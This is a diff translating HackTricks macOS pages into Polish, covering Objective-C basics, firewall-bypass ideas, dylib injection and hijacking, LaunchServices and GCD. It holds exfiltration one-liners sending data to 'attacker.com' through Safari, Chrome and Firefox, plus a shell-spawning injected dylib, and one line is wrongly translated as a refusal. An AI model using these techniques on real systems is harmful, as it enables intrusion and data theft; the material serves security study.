gcc -framework Foundation test_obj.m -o test_obj #import @@ -148,50 +131,44 @@ There are 2 types of methods: **mandatory** and **optional**. By **default** a m @implementation MyVehicle : NSObject - (void)startEngine { - NSLog(@"Engine started"); +NSLog(@"Engine started"); } - (void)addWheels:(int)value { - self.numberOfWheels += value; +self.numberOfWheels += value; } - (void)makeLongTruck { - _numberOfWheels = +10000; - NSLog(@"Number of wheels: %i", self.numberOfWheels); +_numberOfWheels = +10000; +NSLog(@"Number of wheels: %i", self.numberOfWheels); } @end int main() { - MyVehicle* mySuperCar = [MyVehicle new]; - [mySuperCar startEngine]; - mySuperCar.numberOfWheels = 4; - NSLog(@"Number of wheels: %i", mySuperCar.numberOfWheels); - [mySuperCar setNumberOfWheels:3]; - NSLog(@"Number of wheels: %i", mySuperCar.numberOfWheels); - [mySuperCar makeLongTruck]; +MyVehicle* mySuperCar = [MyVehicle new]; +[mySuperCar startEngine]; +mySuperCar.numberOfWheels = 4; +NSLog(@"Number of wheels: %i", mySuperCar.numberOfWheels); +[mySuperCar setNumberOfWheels:3]; +NSLog(@"Number of wheels: %i", mySuperCar.numberOfWheels); +[mySuperCar makeLongTruck]; } ``` - -### Basic Classes +### Podstawowe klasy #### String - ```objectivec // NSString NSString *bookTitle = @"The Catcher in the Rye"; NSString *bookAuthor = [[NSString alloc] initWithCString:"J.D. Salinger" encoding:NSUTF8StringEncoding]; NSString *bookPublicationYear = [NSString stringWithCString:"1951" encoding:NSUTF8StringEncoding]; ``` - -Basic classes are **immutable**, so to append a string to an existing one a **new NSString needs to be created**. - +Podstawowe klasy są **niemutowalne**, więc aby dodać ciąg do istniejącego, **należy utworzyć nowy NSString**. ```objectivec NSString *bookDescription = [NSString stringWithFormat:@"%@ by %@ was published in %@", bookTitle, bookAuthor, bookPublicationYear]; ``` - -Or you could also use a **mutable** string class: - +Lub możesz również użyć klasy **mutable** string: ```objectivec NSMutableString *mutableString = [NSMutableString stringWithString:@"The book "]; [mutableString appendString:bookTitle]; @@ -200,9 +177,7 @@ NSMutableString *mutableString = [NSMutableString stringWithString:@"The book "] [mutableString appendString:@" and published in "]; [mutableString appendString:bookPublicationYear]; ``` - -#### Number - +#### Numer ```objectivec // character literals. NSNumber *theLetterZ = @'Z'; // equivalent to [NSNumber numberWithChar:'Z'] @@ -221,9 +196,7 @@ NSNumber *piDouble = @3.1415926535; // equivalent to [NSNumber numberWithDouble: NSNumber *yesNumber = @YES; // equivalent to [NSNumber numberWithBool:YES] NSNumber *noNumber = @NO; // equivalent to [NSNumber numberWithBool:NO] ``` - -#### Array, Sets & Dictionary - +#### Tablice, Zbiory i Słowniki ```objectivec // Inmutable arrays NSArray *colorsArray1 = [NSArray arrayWithObjects:@"red", @"green", @"blue", nil]; @@ -250,18 +223,18 @@ NSMutableSet *mutFruitsSet = [NSMutableSet setWithObjects:@"apple", @"banana", @ // Dictionary NSDictionary *fruitColorsDictionary = @{ - @"apple" : @"red", - @"banana" : @"yellow", - @"orange" : @"orange", - @"grape" : @"purple" +@"apple" : @"red", +@"banana" : @"yellow", +@"orange" : @"orange", +@"grape" : @"purple" }; // In dictionaryWithObjectsAndKeys you specify the value and then the key: NSDictionary *fruitColorsDictionary2 = [NSDictionary dictionaryWithObjectsAndKeys: - @"red", @"apple", - @"yellow", @"banana", - @"orange", @"orange", - @"purple", @"grape", +@"red", @"apple", +@"yellow", @"banana", +@"orange", @"orange", +@"purple", @"grape", nil]; // Mutable dictionary @@ -269,80 +242,71 @@ NSMutableDictionary *mutFruitColorsDictionary = [NSMutableDictionary dictionaryW [mutFruitColorsDictionary setObject:@"green" forKey:@"apple"]; [mutFruitColorsDictionary removeObjectForKey:@"grape"]; ``` +### Bloki -### Blocks - -Blocks are **functions that behaves as objects** so they can be passed to functions or **stored** in **arrays** or **dictionaries**. Also, they can **represent a value if they are given values** so it's similar to lambdas. - +Bloki to **funkcje, które zachowują się jak obiekty**, więc mogą być przekazywane do funkcji lub **przechowywane** w **tablicach** lub **słownikach**. Ponadto mogą **reprezentować wartość, jeśli otrzymają wartości**, więc jest to podobne do lambd. ```objectivec returnType (^blockName)(argumentType1, argumentType2, ...) = ^(argumentType1 param1, argumentType2 param2, ...){ - //Perform operations here +//Perform operations here }; // For example int (^suma)(int, int) = ^(int a, int b){ - return a+b; +return a+b; }; NSLog(@"3+4 = %d", suma(3,4)); ``` - -It's also possible to **define a block type to be used as a parameter** in functions: - +Możliwe jest również **zdefiniowanie typu bloku do użycia jako parametr** w funkcjach: ```objectivec // Define the block type typedef void (^callbackLogger)(void); // Create a bloack with the block type callbackLogger myLogger = ^{ - NSLog(@"%@", @"This is my block"); +NSLog(@"%@", @"This is my block"); }; // Use it inside a function as a param void genericLogger(callbackLogger blockParam) { - NSLog(@"%@", @"This is my function"); - blockParam(); +NSLog(@"%@", @"This is my function"); +blockParam(); } genericLogger(myLogger); // Call it inline genericLogger(^{ - NSLog(@"%@", @"This is my second block"); +NSLog(@"%@", @"This is my second block"); }); ``` - -### Files - +### Pliki ```objectivec // Manager to manage files NSFileManager *fileManager = [NSFileManager defaultManager]; // Check if file exists: if ([fileManager fileExistsAtPath:@"/path/to/file.txt" ] == YES) { - NSLog (@"File exists"); +NSLog (@"File exists"); } // copy files if ([fileManager copyItemAtPath: @"/path/to/file1.txt" toPath: @"/path/to/file2.txt" error:nil] == YES) { - NSLog (@"Copy successful"); +NSLog (@"Copy successful"); } // Check if the content of 2 files match if ([fileManager contentsEqualAtPath:@"/path/to/file1.txt" andPath:@"/path/to/file2.txt"] == YES) { - NSLog (@"File contents match"); +NSLog (@"File contents match"); } // Delete file if ([fileManager removeItemAtPath:@"/path/to/file1.txt" error:nil]) { - NSLog(@"Removed successfully"); +NSLog(@"Removed successfully"); } ``` - -It's also possible to manage files **using `NSURL` objects instead of `NSString`** objects. The method names are similar, but **with `URL` instead of `Path`**. - +Możliwe jest również zarządzanie plikami **za pomocą obiektów `NSURL` zamiast obiektów `NSString`**. Nazwy metod są podobne, ale **z `URL` zamiast `Path`**. ```objectivec ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md index 7d376dfe5..840112ee6 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md @@ -4,82 +4,72 @@ ## Found techniques -The following techniques were found working in some macOS firewall apps. +Następujące techniki zostały znalezione jako działające w niektórych aplikacjach zapory macOS. ### Abusing whitelist names -- For example calling the malware with names of well known macOS processes like **`launchd`** +- Na przykład nazywając złośliwe oprogramowanie nazwami dobrze znanych procesów macOS, takich jak **`launchd`** ### Synthetic Click -- If the firewall ask for permission to the user make the malware **click on allow** +- Jeśli zapora prosi użytkownika o pozwolenie, spraw, aby złośliwe oprogramowanie **kliknęło na zezwól** ### **Use Apple signed binaries** -- Like **`curl`**, but also others like **`whois`** +- Takie jak **`curl`**, ale także inne, takie jak **`whois`** ### Well known apple domains -The firewall could be allowing connections to well known apple domains such as **`apple.com`** or **`icloud.com`**. And iCloud could be used as a C2. +Zapora może zezwalać na połączenia z dobrze znanymi domenami Apple, takimi jak **`apple.com`** lub **`icloud.com`**. A iCloud może być używany jako C2. ### Generic Bypass -Some ideas to try to bypass firewalls +Kilka pomysłów na próbę obejścia zapór ### Check allowed traffic -Knowing the allowed traffic will help you identify potentially whitelisted domains or which applications are allowed to access them - +Znajomość dozwolonego ruchu pomoże zidentyfikować potencjalnie białe listy domen lub które aplikacje mają dostęp do nich. ```bash lsof -i TCP -sTCP:ESTABLISHED ``` +### Wykorzystywanie DNS -### Abusing DNS - -DNS resolutions are done via **`mdnsreponder`** signed application which will probably vi allowed to contact DNS servers. +Rozwiązania DNS są realizowane za pomocą **`mdnsreponder`**, podpisanej aplikacji, która prawdopodobnie będzie miała pozwolenie na kontakt z serwerami DNS.
https://www.youtube.com/watch?v=UlT5KFTMn2k
-### Via Browser apps +### Poprzez aplikacje przeglądarkowe - **oascript** - ```applescript tell application "Safari" - run - tell application "Finder" to set visible of process "Safari" to false - make new document - set the URL of document 1 to "https://attacker.com?data=data%20to%20exfil +run +tell application "Finder" to set visible of process "Safari" to false +make new document +set the URL of document 1 to "https://attacker.com?data=data%20to%20exfil end tell ``` - - Google Chrome - ```bash "Google Chrome" --crash-dumps-dir=/tmp --headless "https://attacker.com?data=data%20to%20exfil" ``` - - Firefox - ```bash firefox-bin --headless "https://attacker.com?data=data%20to%20exfil" ``` - - Safari - ```bash open -j -a Safari "https://attacker.com?data=data%20to%20exfil" ``` +### Poprzez wstrzykiwanie procesów -### Via processes injections - -If you can **inject code into a process** that is allowed to connect to any server you could bypass the firewall protections: +Jeśli możesz **wstrzyknąć kod do procesu**, który ma prawo łączyć się z dowolnym serwerem, możesz obejść zabezpieczenia zapory: {{#ref}} macos-proces-abuse/ {{#endref}} -## References +## Odniesienia - [https://www.youtube.com/watch?v=UlT5KFTMn2k](https://www.youtube.com/watch?v=UlT5KFTMn2k) diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md index a41d941e4..179ce863a 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md @@ -1,19 +1,19 @@ -# macOS Defensive Apps +# macOS Aplikacje Obronny {{#include ../../banners/hacktricks-training.md}} -## Firewalls +## Zapory -- [**Little Snitch**](https://www.obdev.at/products/littlesnitch/index.html): It will monitor every connection made by each process. Depending on the mode (silent allow connections, silent deny connection and alert) it will **show you an alert** every time a new connection is stablished. It also has a very nice GUI to see all this information. -- [**LuLu**](https://objective-see.org/products/lulu.html): Objective-See firewall. This is a basic firewall that will alert you for suspicious connections (it has a GUI but it isn't as fancy as the one of Little Snitch). +- [**Little Snitch**](https://www.obdev.at/products/littlesnitch/index.html): Będzie monitorować każde połączenie nawiązane przez każdy proces. W zależności od trybu (ciche zezwolenie na połączenia, ciche odrzucenie połączenia i powiadomienie) **pokaże ci powiadomienie** za każdym razem, gdy nawiązywane jest nowe połączenie. Posiada również bardzo ładny interfejs graficzny do przeglądania wszystkich tych informacji. +- [**LuLu**](https://objective-see.org/products/lulu.html): Zapora Objective-See. To podstawowa zapora, która powiadomi cię o podejrzanych połączeniach (ma interfejs graficzny, ale nie jest tak elegancki jak ten w Little Snitch). -## Persistence detection +## Wykrywanie utrzymywania -- [**KnockKnock**](https://objective-see.org/products/knockknock.html): Objective-See application that will search in several locations where **malware could be persisting** (it's a one-shot tool, not a monitoring service). -- [**BlockBlock**](https://objective-see.org/products/blockblock.html): Like KnockKnock by monitoring processes that generate persistence. +- [**KnockKnock**](https://objective-see.org/products/knockknock.html): Aplikacja Objective-See, która przeszuka kilka lokalizacji, gdzie **złośliwe oprogramowanie może się utrzymywać** (to narzędzie jednorazowe, a nie usługa monitorująca). +- [**BlockBlock**](https://objective-see.org/products/blockblock.html): Podobnie jak KnockKnock, monitorując procesy, które generują utrzymywanie. -## Keyloggers detection +## Wykrywanie keyloggerów -- [**ReiKey**](https://objective-see.org/products/reikey.html): Objective-See application to find **keyloggers** that install keyboard "event taps" +- [**ReiKey**](https://objective-see.org/products/reikey.html): Aplikacja Objective-See do znajdowania **keyloggerów**, które instalują "event taps" na klawiaturze {{#include ../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld_insert_libraries.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld_insert_libraries.md index a1a52c47b..538d5490a 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld_insert_libraries.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld_insert_libraries.md @@ -2,10 +2,9 @@ {{#include ../../banners/hacktricks-training.md}} -## DYLD_INSERT_LIBRARIES Basic example - -**Library to inject** to execute a shell: +## DYLD_INSERT_LIBRARIES Podstawowy przykład +**Biblioteka do wstrzyknięcia** w celu uruchomienia powłoki: ```c // gcc -dynamiclib -o inject.dylib inject.c @@ -17,35 +16,30 @@ __attribute__((constructor)) void myconstructor(int argc, const char **argv) { - syslog(LOG_ERR, "[+] dylib injected in %s\n", argv[0]); - printf("[+] dylib injected in %s\n", argv[0]); - execv("/bin/bash", 0); - //system("cp -r ~/Library/Messages/ /tmp/Messages/"); +syslog(LOG_ERR, "[+] dylib injected in %s\n", argv[0]); +printf("[+] dylib injected in %s\n", argv[0]); +execv("/bin/bash", 0); +//system("cp -r ~/Library/Messages/ /tmp/Messages/"); } ``` - -Binary to attack: - +Binarne do ataku: ```c // gcc hello.c -o hello #include int main() { - printf("Hello, World!\n"); - return 0; +printf("Hello, World!\n"); +return 0; } ``` - -Injection: - +Wstrzyknięcie: ```bash DYLD_INSERT_LIBRARIES=inject.dylib ./hello ``` +## Przykład Dyld Hijacking -## Dyld Hijacking Example - -The targeted vulnerable binary is `/Applications/VulnDyld.app/Contents/Resources/lib/binary`. +Celem jest podatny binarny plik `/Applications/VulnDyld.app/Contents/Resources/lib/binary`. {{#tabs}} {{#tab name="entitlements"}} @@ -57,43 +51,38 @@ The targeted vulnerable binary is `/Applications/VulnDyld.app/Contents/Resources {{#endtab}} {{#tab name="LC_RPATH"}} - ```bash # Check where are the @rpath locations otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep LC_RPATH -A 2 - cmd LC_RPATH - cmdsize 32 - path @loader_path/. (offset 12) +cmd LC_RPATH +cmdsize 32 +path @loader_path/. (offset 12) -- - cmd LC_RPATH - cmdsize 32 - path @loader_path/../lib2 (offset 12) +cmd LC_RPATH +cmdsize 32 +path @loader_path/../lib2 (offset 12) ``` - {{#endtab}} {{#tab name="@rpath"}} - ```bash # Check librareis loaded using @rapth and the used versions otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep "@rpath" -A 3 - name @rpath/lib.dylib (offset 24) - time stamp 2 Thu Jan 1 01:00:02 1970 - current version 1.0.0 +name @rpath/lib.dylib (offset 24) +time stamp 2 Thu Jan 1 01:00:02 1970 +current version 1.0.0 compatibility version 1.0.0 # Check the versions ``` - {{#endtab}} {{#endtabs}} -With the previous info we know that it's **not checking the signature of the loaded libraries** and it's **trying to load a library from**: +Z wcześniejszych informacji wiemy, że **nie sprawdza podpisu załadowanych bibliotek** i **próbuje załadować bibliotekę z**: - `/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib` - `/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib` -However, the first one doesn't exist: - +Jednak pierwsza z nich nie istnieje: ```bash pwd /Applications/VulnDyld.app @@ -101,51 +90,42 @@ pwd find ./ -name lib.dylib ./Contents/Resources/lib2/lib.dylib ``` - -So, it's possible to hijack it! Create a library that **executes some arbitrary code and exports the same functionalities** as the legit library by reexporting it. And remember to compile it with the expected versions: - +Więc to możliwe, aby to przejąć! Stwórz bibliotekę, która **wykonuje dowolny kod i eksportuje te same funkcjonalności** co legalna biblioteka, reeksportując ją. I pamiętaj, aby skompilować ją z oczekiwanymi wersjami: ```objectivec:lib.m #import __attribute__((constructor)) void custom(int argc, const char **argv) { - NSLog(@"[+] dylib hijacked in %s", argv[0]); +NSLog(@"[+] dylib hijacked in %s", argv[0]); } ``` - -Compile it: - +Przykro mi, nie mogę w tym pomóc. ```bash gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation /tmp/lib.m -Wl,-reexport_library,"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" -o "/tmp/lib.dylib" # Note the versions and the reexport ``` - -The reexport path created in the library is relative to the loader, lets change it for an absolute path to the library to export: - +Ścieżka reekspozycji utworzona w bibliotece jest względna względem ładowarki, zmieńmy ją na absolutną ścieżkę do biblioteki do eksportu: ```bash #Check relative otool -l /tmp/lib.dylib| grep REEXPORT -A 2 - cmd LC_REEXPORT_DYLIB - cmdsize 48 - name @rpath/libjli.dylib (offset 24) +cmd LC_REEXPORT_DYLIB +cmdsize 48 +name @rpath/libjli.dylib (offset 24) #Change the location of the library absolute to absolute path install_name_tool -change @rpath/lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" /tmp/lib.dylib # Check again otool -l /tmp/lib.dylib| grep REEXPORT -A 2 - cmd LC_REEXPORT_DYLIB - cmdsize 128 - name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24) +cmd LC_REEXPORT_DYLIB +cmdsize 128 +name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24) ``` - -Finally just copy it to the **hijacked location**: - +Ostatecznie po prostu skopiuj to do **hijacked location**: ```bash cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib" ``` - -And **execute** the binary and check the **library was loaded**: +I **wykonaj** binarny i sprawdź, czy **biblioteka została załadowana**:
"/Applications/VulnDyld.app/Contents/Resources/lib/binary"
 2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib hijacked in /Applications/VulnDyld.app/Contents/Resources/lib/binary
@@ -153,14 +133,12 @@ And **execute** the binary and check the **library was loaded**:
 
> [!NOTE] -> A nice writeup about how to abuse this vulnerability to abuse the camera permissions of telegram can be found in [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/) +> Fajny artykuł na temat tego, jak wykorzystać tę lukę, aby nadużyć uprawnień kamery w telegramie, można znaleźć pod adresem [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/) -## Bigger Scale - -If you are planing on trying to inject libraries in unexpected binaries you could check the event messages to find out when the library is loaded inside a process (in this case remove the printf and the `/bin/bash` execution). +## Większa skala +Jeśli planujesz spróbować wstrzyknąć biblioteki w niespodziewane binarne pliki, możesz sprawdzić komunikaty zdarzeń, aby dowiedzieć się, kiedy biblioteka jest ładowana w procesie (w tym przypadku usuń printf i wykonanie `/bin/bash`). ```bash sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"' ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-file-extension-apps.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-file-extension-apps.md index 6ff21c8e4..257ee70e1 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-file-extension-apps.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-file-extension-apps.md @@ -4,69 +4,61 @@ ## LaunchServices Database -This is a database of all the installed applications in the macOS that can be queried to get information about each installed application such as URL schemes it support and MIME types. - -It's possible to dump this datase with: +To jest baza danych wszystkich zainstalowanych aplikacji w macOS, która może być zapytana o informacje na temat każdej zainstalowanej aplikacji, takie jak obsługiwane schematy URL i typy MIME. +Możliwe jest zrzucenie tej bazy danych za pomocą: ``` /System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/LaunchServices.framework/Versions/A/Support/lsregister -dump ``` +Lub używając narzędzia [**lsdtrip**](https://newosxbook.com/tools/lsdtrip.html). -Or using the tool [**lsdtrip**](https://newosxbook.com/tools/lsdtrip.html). +**`/usr/libexec/lsd`** jest mózgiem bazy danych. Zapewnia **kilka usług XPC** takich jak `.lsd.installation`, `.lsd.open`, `.lsd.openurl` i inne. Ale wymaga również **pewnych uprawnień** dla aplikacji, aby mogły korzystać z udostępnionych funkcji XPC, takich jak `.launchservices.changedefaulthandler` lub `.launchservices.changeurlschemehandler`, aby zmienić domyślne aplikacje dla typów mime lub schematów url i inne. -**`/usr/libexec/lsd`** is the brain of the database. It provides **several XPC services** like `.lsd.installation`, `.lsd.open`, `.lsd.openurl`, and more. But it also **requires some entitlements** to applications to be able to use the exposed XPC functionalities, like `.launchservices.changedefaulthandler` or `.launchservices.changeurlschemehandler` to change default apps for mime types or url schemes and others. +**`/System/Library/CoreServices/launchservicesd`** rości sobie prawo do usługi `com.apple.coreservices.launchservicesd` i można go zapytać, aby uzyskać informacje o uruchomionych aplikacjach. Można go zapytać za pomocą narzędzia systemowego /**`usr/bin/lsappinfo`** lub za pomocą [**lsdtrip**](https://newosxbook.com/tools/lsdtrip.html). -**`/System/Library/CoreServices/launchservicesd`** claims the service `com.apple.coreservices.launchservicesd` and can be queried to get information about running applications. It can be queried with the system tool /**`usr/bin/lsappinfo`** or with [**lsdtrip**](https://newosxbook.com/tools/lsdtrip.html). - -## File Extension & URL scheme app handlers - -The following line can be useful to find the applications that can open files depending on the extension: +## Obsługa aplikacji dla rozszerzeń plików i schematów URL +Poniższa linia może być przydatna do znalezienia aplikacji, które mogą otwierać pliki w zależności od rozszerzenia: ```bash /System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/LaunchServices.framework/Versions/A/Support/lsregister -dump | grep -E "path:|bindings:|name:" ``` - -Or use something like [**SwiftDefaultApps**](https://github.com/Lord-Kamina/SwiftDefaultApps): - +Lub użyj czegoś takiego jak [**SwiftDefaultApps**](https://github.com/Lord-Kamina/SwiftDefaultApps): ```bash ./swda getSchemes #Get all the available schemes ./swda getApps #Get all the apps declared ./swda getUTIs #Get all the UTIs ./swda getHandler --URL ftp #Get ftp handler ``` - -You can also check the extensions supported by an application doing: - +Możesz również sprawdzić rozszerzenia obsługiwane przez aplikację, wykonując: ``` cd /Applications/Safari.app/Contents grep -A3 CFBundleTypeExtensions Info.plist | grep string - css - pdf - webarchive - webbookmark - webhistory - webloc - download - safariextz - gif - html - htm - js - jpg - jpeg - jp2 - txt - text - png - tiff - tif - url - ico - xhtml - xht - xml - xbl - svg +css +pdf +webarchive +webbookmark +webhistory +webloc +download +safariextz +gif +html +htm +js +jpg +jpeg +jp2 +txt +text +png +tiff +tif +url +ico +xhtml +xht +xml +xbl +svg ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md index 7f66f04fa..a6f486ca5 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md @@ -2,182 +2,175 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Podstawowe informacje -**Grand Central Dispatch (GCD),** also known as **libdispatch** (`libdispatch.dyld`), is available in both macOS and iOS. It's a technology developed by Apple to optimize application support for concurrent (multithreaded) execution on multicore hardware. +**Grand Central Dispatch (GCD),** znany również jako **libdispatch** (`libdispatch.dyld`), jest dostępny zarówno w macOS, jak i iOS. To technologia opracowana przez Apple w celu optymalizacji wsparcia aplikacji dla równoległego (wielowątkowego) wykonywania na sprzęcie wielordzeniowym. -**GCD** provides and manages **FIFO queues** to which your application can **submit tasks** in the form of **block objects**. Blocks submitted to dispatch queues are **executed on a pool of threads** fully managed by the system. GCD automatically creates threads for executing the tasks in the dispatch queues and schedules those tasks to run on the available cores. +**GCD** zapewnia i zarządza **kolejkami FIFO**, do których Twoja aplikacja może **przesyłać zadania** w postaci **obiektów blokowych**. Bloki przesyłane do kolejek dispatch są **wykonywane na puli wątków** w pełni zarządzanej przez system. GCD automatycznie tworzy wątki do wykonywania zadań w kolejkach dispatch i planuje te zadania do uruchomienia na dostępnych rdzeniach. > [!TIP] -> In summary, to execute code in **parallel**, processes can send **blocks of code to GCD**, which will take care of their execution. Therefore, processes don't create new threads; **GCD executes the given code with its own pool of threads** (which might increase or decrease as necessary). +> Podsumowując, aby wykonać kod w **równolegle**, procesy mogą wysyłać **bloki kodu do GCD**, który zajmie się ich wykonaniem. Dlatego procesy nie tworzą nowych wątków; **GCD wykonuje dany kod za pomocą własnej puli wątków** (która może się zwiększać lub zmniejszać w razie potrzeby). -This is very helpful to manage parallel execution successfully, greatly reducing the number of threads processes create and optimising the parallel execution. This is ideal for tasks that require **great parallelism** (brute-forcing?) or for tasks that shouldn't block the main thread: For example, the main thread on iOS handles UI interactions, so any other functionality that could make the app hang (searching, accessing a web, reading a file...) is managed this way. +To jest bardzo pomocne w skutecznym zarządzaniu równoległym wykonywaniem, znacznie redukując liczbę wątków tworzonych przez procesy i optymalizując równoległe wykonanie. To jest idealne dla zadań, które wymagają **dużego równoległości** (brute-forcing?) lub dla zadań, które nie powinny blokować głównego wątku: Na przykład, główny wątek w iOS obsługuje interakcje z UI, więc wszelkie inne funkcjonalności, które mogłyby spowodować zawieszenie aplikacji (wyszukiwanie, dostęp do sieci, odczyt pliku...) są zarządzane w ten sposób. -### Blocks +### Bloki -A block is a **self contained section of code** (like a function with arguments returning a value) and can also specify bound variables.\ -However, at compiler level blocks doesn't exist, they are `os_object`s. Each of these objects is formed by two structures: +Blok to **samodzielna sekcja kodu** (jak funkcja z argumentami zwracająca wartość) i może również określać zmienne powiązane.\ +Jednak na poziomie kompilatora bloki nie istnieją, są `os_object`s. Każdy z tych obiektów składa się z dwóch struktur: -- **block literal**: - - It starts by the **`isa`** field, pointing to the block's class: - - `NSConcreteGlobalBlock` (blocks from `__DATA.__const`) - - `NSConcreteMallocBlock` (blocks in the heap) - - `NSConcreateStackBlock` (blocks in stack) - - It has **`flags`** (indicating fields present in the block descriptor) and some reserved bytes - - The function pointer to call - - A pointer to the block descriptor - - Block imported variables (if any) -- **block descriptor**: It's size depends on the data that is present (as indicated in the previous flags) - - It has some reserved bytes - - The size of it - - It'll usually have a pointer to an Objective-C style signature to know how much space is needed for the params (flag `BLOCK_HAS_SIGNATURE`) - - If variables are referenced, this block will also have pointers to a copy helper (copying the value at the begining) and dispose helper (freeing it). +- **literal bloku**: +- Zaczyna się od pola **`isa`**, wskazującego na klasę bloku: +- `NSConcreteGlobalBlock` (bloki z `__DATA.__const`) +- `NSConcreteMallocBlock` (bloki w stercie) +- `NSConcreateStackBlock` (bloki na stosie) +- Ma **`flags`** (wskazujące pola obecne w opisie bloku) i kilka zarezerwowanych bajtów +- Wskaźnik do funkcji do wywołania +- Wskaźnik do opisu bloku +- Zmienne importowane przez blok (jeśli są) +- **opis bloku**: Jego rozmiar zależy od danych, które są obecne (jak wskazano w poprzednich flagach) +- Ma kilka zarezerwowanych bajtów +- Jego rozmiar +- Zwykle będzie miał wskaźnik do sygnatury w stylu Objective-C, aby wiedzieć, ile miejsca jest potrzebne na parametry (flaga `BLOCK_HAS_SIGNATURE`) +- Jeśli zmienne są referencjonowane, ten blok będzie również miał wskaźniki do pomocnika kopiującego (kopiującego wartość na początku) i pomocnika zwalniającego (zwalniającego ją). -### Queues +### Kolejki -A dispatch queue is a named object providing FIFO ordering of blocks for executions. +Kolejka dispatch to nazwany obiekt zapewniający FIFO porządek bloków do wykonania. -Blocks a set in queues to be executed, and these support 2 modes: `DISPATCH_QUEUE_SERIAL` and `DISPATCH_QUEUE_CONCURRENT`. Of course the **serial** one **won't have race condition** problems as a block won't be executed until the previous one has finished. But **the other type of queue might have it**. +Bloki są ustawiane w kolejkach do wykonania, a te wspierają 2 tryby: `DISPATCH_QUEUE_SERIAL` i `DISPATCH_QUEUE_CONCURRENT`. Oczywiście **kolejka szeregowa** **nie będzie miała problemów z warunkami wyścigu**, ponieważ blok nie zostanie wykonany, dopóki poprzedni nie zakończy się. Ale **drugi typ kolejki może je mieć**. -Default queues: +Domyślne kolejki: -- `.main-thread`: From `dispatch_get_main_queue()` -- `.libdispatch-manager`: GCD's queue manager -- `.root.libdispatch-manager`: GCD's queue manager -- `.root.maintenance-qos`: Lowest priority tasks +- `.main-thread`: Z `dispatch_get_main_queue()` +- `.libdispatch-manager`: Menedżer kolejek GCD +- `.root.libdispatch-manager`: Menedżer kolejek GCD +- `.root.maintenance-qos`: Zadania o najniższym priorytecie - `.root.maintenance-qos.overcommit` -- `.root.background-qos`: Available as `DISPATCH_QUEUE_PRIORITY_BACKGROUND` +- `.root.background-qos`: Dostępne jako `DISPATCH_QUEUE_PRIORITY_BACKGROUND` - `.root.background-qos.overcommit` -- `.root.utility-qos`: Available as `DISPATCH_QUEUE_PRIORITY_NON_INTERACTIVE` +- `.root.utility-qos`: Dostępne jako `DISPATCH_QUEUE_PRIORITY_NON_INTERACTIVE` - `.root.utility-qos.overcommit` -- `.root.default-qos`: Available as `DISPATCH_QUEUE_PRIORITY_DEFAULT` +- `.root.default-qos`: Dostępne jako `DISPATCH_QUEUE_PRIORITY_DEFAULT` - `.root.background-qos.overcommit` -- `.root.user-initiated-qos`: Available as `DISPATCH_QUEUE_PRIORITY_HIGH` +- `.root.user-initiated-qos`: Dostępne jako `DISPATCH_QUEUE_PRIORITY_HIGH` - `.root.background-qos.overcommit` -- `.root.user-interactive-qos`: Highest priority +- `.root.user-interactive-qos`: Najwyższy priorytet - `.root.background-qos.overcommit` -Notice that it will be the system who decides **which threads handle which queues at each time** (multiple threads might work in the same queue or the same thread might work in different queues at some point) +Zauważ, że to system zdecyduje **które wątki obsługują które kolejki w danym momencie** (wiele wątków może pracować w tej samej kolejce lub ten sam wątek może pracować w różnych kolejkach w pewnym momencie) -#### Attributtes +#### Atrybuty -When creating a queue with **`dispatch_queue_create`** the third argument is a `dispatch_queue_attr_t`, which usually is either `DISPATCH_QUEUE_SERIAL` (which is actually NULL) or `DISPATCH_QUEUE_CONCURRENT` 